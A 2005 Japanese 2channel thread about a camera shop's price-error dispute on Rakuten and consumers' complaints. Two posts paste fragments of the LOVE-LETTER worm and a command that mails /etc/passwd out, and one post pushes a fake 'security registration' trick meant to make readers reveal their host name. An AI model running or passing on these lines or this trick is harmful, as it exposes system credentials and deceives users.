消費者権利&保護ロゴ

gif(改)透過(マット:白)バージョン
http://www.imgup.org/file/iup11214.gif
png透過(マット:白)あり
http://www.imgup.org/file/iup11216.png

こいつを覚えてやってください。
楽天バージョン消費者権利&保護ロゴ製作する予定です。

128 :番組の途中ですが名無しです:05/03/01 23:21:31 ID:YPUFUco0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

129 :番組の途中ですが名無しです:05/03/01 23:25:08 ID:S2W/MBC1
今日になってこれか。
わかりやすすぎるなwwww

130 :番組の途中ですが名無しです:05/03/01 23:25:49 ID:YPUFUco0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

131 :fuslanasan :05/03/01 23:25:57 ID:CSWPDhw8
>>118
何言ってんだよそれはただのfusianasanだろ
荒らしと一緒にされるぞ


132 :番組の途中ですが名無しです:05/03/01 23:26:30 ID:7Nv7Ji6G
>>118 アホか! 最近変わって言ってるのに・・・。

133 :番組の途中ですが名無しです:05/03/01 23:28:21 ID:1cx1kHD+
ウィルスコードをはり続けてるヤツ、普通にヤバいんだけどなwww

134 :nc01.wf.dion.ne.jp:05/03/01 23:29:33 ID:YPUFUco0
何がヤバいんですか?
笑っちゃいますねw

135 :番組の途中ですが名無しです:05/03/01 23:29:42 ID:CYtxPGQ2
|  |
|  |∧_∧
|_|´・ω・`)
|ナ| o終了o
| ̄|―u'
""""""""""

|  |
|  |∧_∧
|_|´・ω・`)
|ニ| o ヽコト
| ̄|―u'  終了
""""""""""

|  |
|  |
|_|
|ワ|ミサッ
| ̄|   終了
""""""""""


136 :番組の途中ですが名無しです:05/03/01 23:32:35 ID:sXjH9m8U
http://www.rakuten.co.jp/naniwa/info.html#kessai

店舗運営責任者:塩山になってるね

それから一番下の
■ 弊社では、お客様から預かった個人情報は厳重に管理しております。
外部に漏らしたり、当社の業務以外に使用することはありません。
って前からあった?

137 :番組の途中ですが名無しです:05/03/01 23:33:14 ID:/amem+ZJ
予約者のパターンって、大体下の4つだと思うけど、その割合ってどんな感じでしょ?

A.この価格は安い!とピュアな気持ちで予約
B.この価格は明らかに間違いだろうなー、でも万が一買えたらラッキーだなーで予約
C.この価格は明らかに間違いだろうなー、でも頑張ってゴネれば買えそうだなーで予約
D.この価格は明らかに間違いだろうなー、何が何でもゴネて買って転売じゃ!で大量予約

私は、A:B:C:D=1:5:3:1 くらいかな、と勝手に予想。



138 :218.216.133.72/728.co.jp:05/03/01 23:36:04 ID:pszea3mc
ゴネ厨必死だなw

139 :k:05/03/01 23:37:11 ID:YKacCDen
塩山

140 :番組の途中ですが名無しです:05/03/01 23:37:20 ID:swDedHcy
>>137
俺はA'だな
これは安いぞ、けどこの程度ならよもや間違いではある舞いな

で予約

141 :番組の途中ですが名無しです:05/03/01 23:38:06 ID:S2W/MBC1
普通にAが一番多いだろ。

142 :番組の途中ですが名無しです:05/03/01 23:38:25 ID:BAJ2wGFI
>>137
明らかに間違いしか無いじゃんか
微妙に思いながら注文ってないの

143 :番組の途中ですが名無しです:05/03/01 23:40:11 ID:+Ythdo1w
>>137
A:B:C:D=6:3:1:0 じゃね?

144 :番組の途中ですが名無しです:05/03/01 23:41:29 ID:RVNvJVjc
工作が劣化してきたな

だいぶ追いつめられてきたようだ。

145 :もう一度だけ貼っておきます。:05/03/01 23:43:53 ID:7Nv7Ji6G
おまえら、こんなに荒らしが多かったら、セキュリティガード登録しないと
大変だぞ。最近の2ちゃんはIPはとるわ、匿名性も低まっているからな・・。

ちなみに今年から登録方法変わってるから、気をつけて・・・。


==============================
SecGuard (Security Guard)
  もとは米国Stanford大学計算機科学部で開発された暗号化方法。
  ひろゆきが2chにも導入

登録方法
  名前: 欄に anafusianasan と書く。

==============================

146 :ふしあなはん:05/03/01 23:45:42 ID:M4nbf71c
休業から廃業になるのいつ?

147 :番組の途中ですが名無しです:05/03/01 23:45:49 ID:CSWPDhw8
ttp://stick.newsplus.jp/id.cgi?bbs=news&word=47gmHtb0

ニュース速報から47gmHtb0を検索:
--------------------------------------------------------------------------------
【祝】韓国国会「日韓友情年」中止検討を決議 竹島問題で発狂[1件]
539 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/01 11:40:17 ID:47gmHtb0
俺はいつでも戦争の準備できてるぞ!!!!


ワロス

148 :137:05/03/01 23:47:11 ID:/amem+ZJ
意識の違いがありましたね。私自身思い込みがありました。
では、

A.この価格は安い!とピュアな気持ちで予約
A’.これは安いぞ、けど、この程度ならよもや間違いではあるまいなで予約
B.この価格は明らかに間違いだろうなー、でも万が一買えたらラッキーだなーで予約
C.この価格は明らかに間違いだろうなー、でも頑張ってゴネれば買えそうだなーで予約
D.この価格は明らかに間違いだろうなー、何が何でもゴネて買って転売じゃ!で大量予約

で、上(A)の方が分布が多い、ということですか・・・なるほど。


149 :番組の途中ですが名無しです:05/03/01 23:52:26 ID:RVNvJVjc
フィッシング喰らった人、

すぐにでもカード番号変えた方がいいぞ。

150 :番組の途中ですが名無しです:05/03/01 23:54:31 ID:pszea3mc
E.この価格は明らかに間違いだろうなー、でも万が一買えたらラッキーだな、転売じゃ!で大量予約

151 :番組の途中ですが名無しです:05/03/01 23:56:41 ID:L65eOvrv
漏れは買う金が無かったので絶対買えなくなるように200台注文したw
見事に成功ww
漏れって策士?

152 :番組の途中ですが名無しです:05/03/01 23:58:01 ID:RVNvJVjc
>>E.
この値段で転売はさすがにないだろ


ってゆーかお前カエレ

153 :番組の途中ですが名無しです:05/03/02 00:05:25 ID:g2PM/NOf
>>136
http://search.yahoo.co.jp/bin/query?p=http%3a%2f%2fwww.rakuten.co.jp%2fnaniwa%2finfo.html&fr=top%2c+top
ほれ

154 :番組の途中ですが名無しです:05/03/02 00:09:16 ID:CQPK7j1g
Consumer Rights & Protectionロゴ現在出揃い分

ナニワカラー消費者権利保護ロゴ gif(改)透過(マット:白)バージョン
http://www.imgup.org/file/iup11214.gif
ナニワカラー消費者権利保護ロゴ png透過(マット:白)あり
http://www.imgup.org/file/iup11216.png
落転バージョン消費者権利保護ロゴ1 gifバックカラー:白
http://www.imgup.org/file/iup11223.gif
落転バージョン消費者権利保護ロゴ2 上の1が心配な場合はこれ
http://www.imgup.org/file/iup11224.gif


サイトの一部ロゴなど、どこかで使う場面がありましたら、是非使ってやってください。
サイズ変更やバックカラー変更などなにか希望があれば変更します。

155 :番組の途中ですが名無しです:05/03/02 00:14:01 ID:3nJsUguN
>>151
数ヶ月経って普通に6万円位になったら突然注文受付完了のメールが来る、に500ハニー。

156 :番組の途中ですが名無しです:05/03/02 00:17:09 ID:cMQ6uCPL
>>155
数ヶ月待たされてる間にナニワの店舗でKiss D N売ってたら怒りますよ?

157 :番組の途中ですが名無しです:05/03/02 00:27:44 ID:pRDwQs+8

ここはプロ市民臭のとてもキツいスレですね。


158 :番組の途中ですが名無しです:05/03/02 00:29:41 ID:yBkBJAJa
この値段で転売は苦しいやろ。

159 :番組の途中ですが名無しです:05/03/02 00:37:56 ID:1fh/1Coz
ecomにメール送信したよー。

当初はミスを認める対応(電話・メール)をされていたにもかかわらず
途中から契約成立の時期についてお話をされるようになった、という経緯も送っといた。

でも携帯で注文した人にはなんて応えるんだろうな>ナニワ

こういった、コロコロ言うことが変わる対応自体過失になりうるから、
これから相談する人はそこらへんも加えて相談しとくといいぞー。

160 :番組の途中ですが名無しです:05/03/02 00:45:57 ID:3j4+kSa/
乙〜
でも
>当初はミスを認める対応(電話・メール)をされていたにもかかわらず
って俺は中根氏から聞いてないんだよな
だいたい連絡がとれなかったんだけど

161 :1&560 ◆yohAYGjGLI :05/03/02 00:50:50 ID:qhA1r8Eu
それは俺が保証します。
録音してないけどorz

162 :番組の途中ですが名無しです:05/03/02 00:53:14 ID:1fh/1Coz
>>160
メールで十分じゃね?

メール一通目
> このたびのお客様のご予約につきましては、当方の価格表記の誤りではござ
> いますが、当該価格での販売につきましては何卒ご容赦賜りますようお願い
> 申し上げます。

メール二通目
> <価格表記誤りの原因につきまして>
> 当店では掲載するページを作成し、次にプレビュー画面で作成ページを確認後、
> ネット上に掲載しております。今回につきましても同様の手順にて掲載したに
> もかかわらず、「キヤノンEOS Kiss Digital N ブラックボディ」の価格
> 表記を誤りお客様に多大なご迷惑をおかけすることとなりました。誠に申し訳
> ございません。

こういった説明が重ねてされるってことは、契約の成立が前提にあると
普通理解するだろうと思うし。どちらにしろ、ちぐはぐな対応にはかわりないよ。

163 :番組の途中ですが名無しです:05/03/02 00:54:03 ID:3j4+kSa/
>>161
そりゃ一番強いわ
あの人もなに言ってるか判んなくなってるとは思う
何言っても、ハイハイだし
コレコレの対応は約束してもらえますねって言ったら
元の話にループだし

はっ!新手の嫌がらせか?


164 :番組の途中ですが名無しです:05/03/02 01:01:07 ID:yBkBJAJa
心斎橋本店に集団抗議に訪問したら威力業務妨害で逮捕かな?

165 :番組の途中ですが名無しです:05/03/02 01:05:52 ID:3j4+kSa/
>>164
別に騒いだりしなけりゃ威力じゃないだろう

塩山Jrと代表数名がお話し合いに赴くわけだな、やっと(笑

166 :番組の途中ですが名無しです:05/03/02 01:27:02 ID:SLXoWXo7
とりあえず、今日はもう寝ろ
体力勝負になるぞ

167 :番組の途中ですが名無しです:05/03/02 01:35:11 ID:K3Z+b/EO
お前らまだやっていたのか

お前らまだやっていたのか



お前らまだやっていたのか

お前らまだやっていたのか
お前らまだやっていたのか

お前らまだやっていたのか

お前らまだやっていたのか

お前らまだやっていたのか
お前らまだやっていたのか
お前らまだやっていたのか
お前らまだやっていたのか
お前らまだやっていたのか
お前らまだやっていたのか



お前らまだやっていたのか
お前らまだやっていたのか

お前らまだやっていたのか
お前らまだやっていたのか

168 :番組の途中ですが名無しです:05/03/02 01:35:57 ID:Ajv0XgJ4
>>164
プラカードもって他の客の出入りの妨害にならないように店の前に座り込んでも無問題。
がんばれ。

169 :番組の途中ですが名無しです:05/03/02 01:36:49 ID:AKAAXnf9
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了


170 :番組の途中ですが名無しです:05/03/02 01:38:27 ID:7AdjHztS
ナニワのチンピラ、醜いなぁ。

171 :番組の途中ですが名無しです:05/03/02 01:39:10 ID:1fh/1Coz
思い出したように沸くよな。
だいたい二人か三人?

172 :番組の途中ですが名無しです:05/03/02 01:40:48 ID:wa2YsFCw
今回の荒らし
朝日新聞社記者や、在日医師のように派手に炎上する様が見てみたい

173 :番組の途中ですが名無しです:05/03/02 01:41:45 ID:7AdjHztS
一人はぜったいこいつだと思うな。やりそうな顔してる。ともちゃん。
http://www.ntt.com/epsol/SERVICEIMAGES/04_1_Picture2.jpg

174 :番組の途中ですが名無しです:05/03/02 01:55:06 ID:mL5kBfFI
どうして基地外は二人以上じゃないと出てこないの?
教えてエロい人。


175 :番組の途中ですが名無しです:05/03/02 01:55:13 ID:Ajv0XgJ4
>>173
わてはナニワのキム.ジョンナム

176 :番組の途中ですが名無しです:05/03/02 01:58:35 ID:3j4+kSa/
俺も今ecomのフォームから相談入れてみた
ここまでコケにされて
悔しいからね

もう買えなくてもいいが、ナニワに対する社会的制裁の一助になればと思います。

あと1&560サン
当初中根が契約は有効だと言ってたころの言質
もしもの時にはフォローお願いします m(__)m

177 :番組の途中ですが名無しです:05/03/02 02:02:02 ID:1FZVg4wj
俺も一台予約してたが・・・。
正直今回は俺らの負け。

なにしろ、会社としての対応をしてないんだから、なにわは。
これって個人売買レベルの対応。恥も外聞もかなぐり捨てたかに
見えるが、ネットというものを少しでも理解してるのは、何も権限を
持たない中根で、上のほうの奴らはインターネットのやりかたも
しらない田舎のじじババとDQN息子。
エリート集団丸紅との決定的な差はここ。だからいつまで祭りやっても
効果なしと思われ。ちょうどアフリカの土人相手に祭りやってるような
もんじゃないかえ。

178 :番組の途中ですが名無しです:05/03/02 02:02:17 ID:pRDwQs+8
ここで一生懸命な人々は、一生絶対にミスを犯さない完璧超人ばかりなのでしょうね。
凄いですね。


179 :番組の途中ですが名無しです:05/03/02 02:03:28 ID:iXmiyuax
52 名前:名無CCDさん@画素いっぱい[] 投稿日:05/03/02(水) 01:57:37 ID:8YEa0bz/
中根のくびが飛んだとさ・・

かわいそうに



デジカメ板より

180 :番組の途中ですが名無しです:05/03/02 02:05:09 ID:3j4+kSa/
>>178
逆です
ミスはしますが
その場合人として当然の対応をするだけです

私はミスをしました、あなたはそれを唯受け入れなさい
とは絶対に言いません。

面白半分か社員の方か存じませんが、もともな会社or社会人なら
このナニワの対応の酷さについては同意されることと信じます。

181 :番組の途中ですが名無しです:05/03/02 02:05:11 ID:ersMDAX+
エキサイト規制ワロス

182 :番組の途中ですが名無しです:05/03/02 02:05:36 ID:2NBwkiJR
昨日のサイト改装まで居たけど、今日の展開はどうなったの?

183 :番組の途中ですが名無しです:05/03/02 02:06:03 ID:q0igY/79
>>179
それでか・・・Nさん・・・
2chにいるんだね。

184 :番組の途中ですが名無しです:05/03/02 02:07:54 ID:gQ+9MsZv
オレもECOM ADRにメール発射した。
助言にしたけど、あっせんにしたほうがよかったか?

185 :176:05/03/02 02:10:30 ID:3j4+kSa/
俺は斡旋にしたよ
いずれにしても同じ事案で、個々で結果が異なるってことはないでしょうし

186 :番組の途中ですが名無しです:05/03/02 02:10:42 ID:jrIs6jLU
世の中には3種類の人間がいる
数を数えられる人間か
数を数えられない人間かだ


187 :番組の途中ですが名無しです:05/03/02 02:11:18 ID:iXmiyuax
だれかECOMへのメールのテンプレちょうだい・・・。
さっき帰ってきたから、事態が把握できていないよーーー。

188 :番組の途中ですが名無しです:05/03/02 02:11:30 ID:nb3z5kn8
中根さんはある意味被害者だと思う
ミスをしてしまうことは誰にでもあることだけれども、
それがたまたま実売価格に近い値段設定をしてしまったということと
カメラのナニワに勤めていたという2つの要因で
彼を苦しめることになっていると思う。
(ここではあの値段設定が意図的に行われていないと仮定していますが)

もちろんナニワの対応は許されるものではないと思うし
非難されて当然だと思う。
それゆえに彼に必要以上に不当な非難が寄せられるのは、
第三者として見ていて心苦しい。

189 :番組の途中ですが名無しです:05/03/02 02:11:35 ID:gQ+9MsZv
>>179
デジカメ板のどのスレ?

190 :番組の途中ですが名無しです:05/03/02 02:12:11 ID:1fh/1Coz
ミスをするのは在る意味仕方ないともいえる。人間だからね。

それについて誠意在る対応をいただければ注文した人間も納得はする。
お互い人間だから、きちんとした応対をしてくれれば理解もするよ。
(アークなんかは、その点評価をされてるわけだ)

でも今回の件はいったいなんだ?

桁違いでもない、常識的な価格を信用して注文した客に対しての説明は翌日以降。
電話をしてもただ一人の人間だけが応対するばかり。
他の社員は全部中根氏に投げっぱなしだ。

しかも、対応も稚拙。販売責任者と名乗る割にはあまりに知識に乏しい。
本当に販売の人間なのかとも思えるし、コンプアライアンスの姿勢もない。

当初は契約は成立していたがミスがあったので解除したいという姿勢であったにも
かかわず後から 「契約成立していない」 という対応をするちぐはぐさ。

いったいどこを向いて商売してるんだ?
こういった姿勢でおられる限り、こちらとしては解除は拒否するよ。


191 :番組の途中ですが名無しです:05/03/02 02:12:11 ID:ersMDAX+
>>184
斡旋で再発射

192 :>>189:05/03/02 02:13:10 ID:iXmiyuax
◆カメラのナニワの水口です◆
http://hobby7.2ch.net/test/read.cgi/dcamera/1109335833/

193 :番組の途中ですが名無しです:05/03/02 02:13:31 ID:1fh/1Coz
>>187

テンプレはないし、テンプレで送信するのはやめた方がいいよ。

このスレの今までの流れを読むだけで十分だと思う

(あらしはNGIDでとばすといいよ)

194 :176:05/03/02 02:13:51 ID:3j4+kSa/
>>187
ここにまとめてくれた人のサイトがあるよ
http://naniwa.s115.xrea.com/

感謝しつつ
テンプレっぽいのもあるので適当にアレンジして使おう

消費者センターもいいかもしんない

195 :番組の途中ですが名無しです:05/03/02 02:14:50 ID:gQ+9MsZv
水口スレか。

196 :番組の途中ですが名無しです:05/03/02 02:15:03 ID:iXmiyuax
>>194 ありがとん!

197 :番組の途中ですが名無しです:05/03/02 02:16:13 ID:iXmiyuax
で、水口ってだれなの? ナニワを直接しらないからよくわからん。

198 :番組の途中ですが名無しです:05/03/02 02:16:41 ID:1FZVg4wj
中根さん、辞めたんならこっちへ来て、なにわを訴える側に
まわろう!こういうときの2ちゃんねらは、心強いにだ。
亀羅そっちのけで、中根さんをバックアップすると思う。

199 :番組の途中ですが名無しです:05/03/02 02:16:57 ID:9Rvi2xnQ
これやっぱ駄目だったか。arkは一体どうなったんだろうか…

200 :番組の途中ですが名無しです:05/03/02 02:20:01 ID:Ajv0XgJ4
中根ナニワ共和国人民もとうとう粛清か、塩山小将軍様に恥をかかせたからしかたないか。

201 :番組の途中ですが名無しです:05/03/02 02:21:07 ID:1FZVg4wj
将軍様がのおかげで日々幸せな生活がおくれます

202 :番組の途中ですが名無しです:05/03/02 02:22:25 ID:gQ+9MsZv
N根が飛んだとして、窓口はS山でいいのか?

203 :番組の途中ですが名無しです:05/03/02 02:22:54 ID:ersMDAX+
夜逃げまだぁ?

204 :番組の途中ですが名無しです:05/03/02 02:25:05 ID:ersMDAX+
ジョンナム

205 :番組の途中ですが名無しです:05/03/02 02:25:59 ID:wa2YsFCw
カメラのナニワ社長の図(右から2番目)
http://ascii24.com/news/i/serv/article/2001/08/07/imageview/images657594.jpg.html

206 :番組の途中ですが名無しです:05/03/02 02:26:25 ID:yBkBJAJa
企業としてのDQN加減を図らずも公に示してしまいましたね。

207 :番組の途中ですが名無しです:05/03/02 02:27:27 ID:1FZVg4wj
なにわめぐりOFFやろか
100人ぐらいで店の中入ってカメラ物色
これくださいとか言って、デジカメを包装してもらって
レジも打ってもらった時点で
「あ、金額見間違えました。この価格では購入できかねます」
とか言ってキャンセルで何も買わずに出てくる

208 :176:05/03/02 02:28:40 ID:3j4+kSa/
>>205
一人Tシャツか?
ホリエモンじゃねえんだいい年だろ

ソレらしい企業理念を書き垂らしているけど
こんな写真や、今回のような事件で実態が明らかになって行くね

209 :番組の途中ですが名無しです:05/03/02 02:28:49 ID:wa2YsFCw
社長ソロ
http://www.naniwa-group.co.jp/n_info/pless/newmedia/pre_1.jpg

1942年生まれ。 兵庫県西宮市出身。
早大第一政経学部卒業。
66年、(株)ナニワ商会入社、取締役就任。福岡・
京都営業所を経て69年、取締役副社長就任。
70年、グループ会社の(株) フジカラー新日本代表
取締役社長就任。
79年、(株)ナニワ商会代表取締役就任、
現在に至る。趣味は写真、読書。

210 :番組の途中ですが名無しです:05/03/02 02:31:07 ID:wa2YsFCw
追加
http://www.naniwa-group.co.jp/n_info/pless/press_1.html

211 :番組の途中ですが名無しです:05/03/02 02:31:54 ID:IcXf7Ng2
ナニワをどうこう言うのはいいけど個人攻撃はやめとけってかわいそうだろ
奴らも家族もあるし生活もあるんだ

212 :番組の途中ですが名無しです:05/03/02 02:34:15 ID:yBkBJAJa
仕方ない罠。

DQN企業の経営者なんだから。

213 :番組の途中ですが名無しです:05/03/02 02:34:38 ID:q0igY/79
粗品まだぁ?

214 :番組の途中ですが名無しです:05/03/02 02:34:49 ID:ersMDAX+
ワロス経歴

215 :176:05/03/02 02:35:49 ID:3j4+kSa/
>>211
誰も中根を叩いたりしてないだろ
株式会社の社長と次期社長は別、公人だから
「いわれなき」誹謗中傷はだめだけどネ

216 :番組の途中ですが名無しです:05/03/02 02:35:55 ID:iWbRSgCb
なにこのスレ。
キモ過ぎ。


217 :番組の途中ですが名無しです:05/03/02 02:37:59 ID:Jjq1pKsg
スレ一覧でくっついて見えた↓

ヾ(・ω・)ノ ギャース
┌| ∵|┘  

218 :番組の途中ですが名無しです:05/03/02 02:43:07 ID:WXlp/Air
いけわきちづるのオッパイみたい香具師は↓にイケ!
http://news19.2ch.net/test/read.cgi/news/1109697848/l50

219 :番組の途中ですが名無しです:05/03/02 02:43:18 ID:gQ+9MsZv
東京と関西の市場の違いはありますか。

東京はそれでも市場が深い。「激安」でも簡単に響かない。大きい。
しかし、関西は浅い。市場が狭い。だから、カメラの専門店が根こそぎやられることになる。
しかし、関西では「激安」がきても、そんなことをしたら、みんな潰れるから、
安売りにはみんなして走らない。関西の商人の激しさといいますか、知恵なんですね。
新品が3、4割り引ならわかるが、何でも3、4割り引というのは納得しない。
定着民の多い関西では関東のやり方は通用しません。
しかし、今度ばかりはひょっとするとやられる可能性がありますね。
「これからの商売は値段ではないぞ」と本気で信じて動けるかどうかですね。
それができるかどうかで、うちが生き残れるかどうかが決まってきます。

220 :番組の途中ですが名無しです:05/03/02 02:44:59 ID:7AdjHztS
しおやまとらぞう 塩山寅三

カメラのナニワ創業者。
18歳サイで単身中国・大連へ、28歳でカメラ販売会社を設立し
若くして成功を収めたが終戦まぎわに招集されて旧ソ連国境へ。
敗戦後家族が待つ大連へ命からがら逃げ帰った。
佐世保港に戻る引揚船の中で手持ちの紙幣を全て破棄するよう命じられ、
それまでに築いた全財産を船の便所に流して無一文になった。
戦後間もない47年大阪心斎橋にナニワ商会を創業。
2坪の店から量販店や写真現像店など200店のグループ企業の基礎を築いた。
40そこそこで白髪、大学教授のような独特のキャラクターを生かして
TVCMに出演し自ら広告塔になった。
01年11月24日大阪・梅田の支店を回って心不全のため死去。91歳。

この創業者、自分を神格化するために神話を作ったなぁ。
なんで財産を破棄せよと命じられて、便所に流すわけ?
それじゃ破棄したかどうか、わからないだろうが。


221 :番組の途中ですが名無しです:05/03/02 02:47:15 ID:7AdjHztS
>>220
おれは、こんなに苦労したんだぞ。だから、
おれはどんな贅沢しても、許されるんだ。
おまえらも、俺のように、地をはいつくばって、
働けよ。どんなに、がんばったって、
俺のような苦労は、できっこないよ。
俺様がいちばん、偉いのよ。・・・って言いたわけなんでしょ。

222 :番組の途中ですが名無しです:05/03/02 02:48:20 ID:wa2YsFCw
あっ
>新品が3、4割り引ならわかるが、何でも3、4割り引というのは納得しない。
んじゃ今回の特別価格セーフじゃん
売れ

223 :176:05/03/02 02:49:34 ID:3j4+kSa/
>>222
ソレは俺も思った→3,4割引

224 :番組の途中ですが名無しです:05/03/02 02:50:57 ID:ersMDAX+
うさんくせぇ匂いがプンプンしやがる

225 :番組の途中ですが名無しです:05/03/02 03:03:33 ID:Cse6+8Ng
なんとなくだけど
今回の一件、社長まで話が行って無いんじゃないかな
おそらくココ(この人で)で止まってるような
ttp://www.ntt.com/epsol/SERVICEIMAGES/04_1_Picture2.jpg

226 :番組の途中ですが名無しです:05/03/02 03:09:21 ID:iXmiyuax
石倉三郎で止まっているということか!

227 :番組の途中ですが名無しです:05/03/02 03:10:12 ID:MTEP/Zzb
188 名前:番組の途中ですが名無しです 投稿日:05/03/02 02:11:30 ID:nb3z5kn8
中根さんはある意味被害者だと思う
ミスをしてしまうことは誰にでもあることだけれども、
それがたまたま実売価格に近い値段設定をしてしまったということと
カメラのナニワに勤めていたという2つの要因で
彼を苦しめることになっていると思う。
(ここではあの値段設定が意図的に行われていないと仮定していますが)

もちろんナニワの対応は許されるものではないと思うし
非難されて当然だと思う。
それゆえに彼に必要以上に不当な非難が寄せられるのは、
第三者として見ていて心苦しい。

>第三者として見ていて心苦しい。

>第三者として


228 :番組の途中ですが名無しです:05/03/02 03:13:11 ID:wa2YsFCw
>>225
俺、そいつは生理的に受け付けない顔だ

229 :番組の途中ですが名無しです:05/03/02 04:27:24 ID:y9zDDDCH
今通販で靴買ったけど普通にお客様都合のキャンセルは
お受けできませんって規約に書いてた
こういうの見ると今回の件がほんと腹立たしい・・

お前ら絶対勝ち取ってくれよそうじゃないと消費者がずっと
舐められっぱなしだから消費者の名誉にかけて戦ってくれ


230 :番組の途中ですが名無しです:05/03/02 06:27:57 ID:d/jd+c+r
運転のいい加減なタクシーにクレームつけようと、
営業所に電話するときちんと話を聞いてくれて、
「ドライバーはクビにします」って言うでしょ。
でも実際はクビにしていない。
その場逃れの嘘なんだよね。

今回の中根のクビ騒動もそれと同じ。
彼は元気に働いている。

231 :番組の途中ですが名無しです:05/03/02 06:49:08 ID:mL5kBfFI
くびになるよ
タクシー教会では悪質な場合や複数回苦情が来た場合永久にタクシー業界から追放。
常識です。

232 :番組の途中ですが名無しです:05/03/02 07:02:32 ID:WDcgXUSz
今回の件で「間違いメールも来たし、楽天のショップサイトも自粛して
止めてるし、カメラのナニワは誠実なところだな」って思ってる人
案外多そうだな。ナニワの失態をなんとか公にしたいところだがナ


233 :番組の途中ですが名無しです:05/03/02 07:08:32 ID:mqxy6wph
とりあえずecomにメールしとくか。
メール増えれば動きも起きるだろうし。
ecomって応対はメールでしてくれるの?


234 :番組の途中ですが名無しです:05/03/02 07:33:52 ID:mqxy6wph
仕事いってくる!昼組の人等がんばってくれぃ!

235 :番組の途中ですが名無しです:05/03/02 07:38:44 ID:isCCv6Ox
おはよう
熟睡出来てないな
ハラヘリヘリハラ
いまどういう方向ですの?

236 :番組の途中ですが名無しです:05/03/02 07:40:49 ID:mL5kBfFI
おはよう。
携帯組だけど、まだメールも来ていない。
郵便は、昨日の時点で用意されていたなら今日あたり届くかな?東京だけど。
大阪からの『国際』郵便って、何日ぐらいかかる?

237 :番組の途中ですが名無しです:05/03/02 07:41:44 ID:9kbzczPP
おはよう、みんながんがれ。
じゃ行って来る。後は頼む。

238 :番組の途中ですが名無しです:05/03/02 07:43:00 ID:isCCv6Ox
>>236
3週間
48時間起きれなかった・・・。

239 :番組の途中ですが名無しです:05/03/02 07:47:52 ID:mL5kBfFI
>>237
やっぱり大阪は遠いなあw
パスポートもビザもない私には直接乗り込むのは無理だな。。
今年の春はkiss丼で京都まで桜の撮影に行きたかったのに。
間に合うようにすみやかに送って欲しいよ。

240 :番組の途中ですが名無しです:05/03/02 07:49:17 ID:mL5kBfFI
>>239
>>238の間違いですた。

241 :番組の途中ですが名無しです:05/03/02 07:50:12 ID:isCCv6Ox
>>239
3月17日に大阪いく(予防注射とパスポート必要)
カメラうけとる
今日といく
桜咲いてたら撮影

242 :番組の途中ですが名無しです:05/03/02 07:51:40 ID:isCCv6Ox
携帯組みは嫁しか居ないのか?

まじで進展は無いだろうけど、どういう方針になった?
メール送ってないんだけど、送ったほうが良いよね?
なんて送りました?


243 :在日朝鮮人:05/03/02 07:56:48 ID:zD1BsFbS
楽天被害者、真相究明団体を結成しましょう!!

キャンセルできたにもかかわらず、お客様の都合ではキャンセルできない
との一方的な書き込みを見て、信じてしまい、権利を侵害された
お客を探しましょう! 探して見つけ出し告訴させましょう

ジョークですが。しかし、上記のような手法は
統一教会の常套手段です。

244 :番組の途中ですが名無しです:05/03/02 07:58:06 ID:mL5kBfFI
>>240
まじで!予防接種までいるの?
知らなかったよ、ありがとん!

>>241
携帯組、私以外もいたと思うよ。
誰か確認メール貼ってたし。
ってか、正確に言うと私はPCから注文したけど、使ったメアドがPHSのものだったから携帯扱いされた模様。
Air-EDGEカード使いのモバイラーでそのメアドを使用している人がいれば同様の扱いになっていると思う。
素直に携帯アクセスで購入した人もいると思うし。

245 :番組の途中ですが名無しです:05/03/02 08:03:32 ID:1fh/1Coz
>>244

携帯組は是非電話で問い合わせてくれ。
契約成立の時期について、楽天からの自動配信メールには前書きがないことを
伝えて契約成立を主張できる。

246 :番組の途中ですが名無しです:05/03/02 08:06:50 ID:mL5kBfFI
電話したいけど、電話何時までOK?
仕事中、2ちゃんは見れても電話は出来ない。。
ついでにフリーダイヤルの方でいい?
通話料勿体無い。。

247 :番組の途中ですが名無しです:05/03/02 08:13:07 ID:efn59H4/
なんかフリーダイヤルに電話してもカスみたい何の権限もないやつが出てきて
客の愚痴だけを聞く機械という物だったら罠だよな

248 :番組の途中ですが名無しです:05/03/02 08:14:07 ID:mL5kBfFI
余談だけど、カメラを注文してからやたら英語の訳若布なメールが届く。
偶然だろうけど。。

249 :番組の途中ですが名無しです:05/03/02 08:15:27 ID:mL5kBfFI
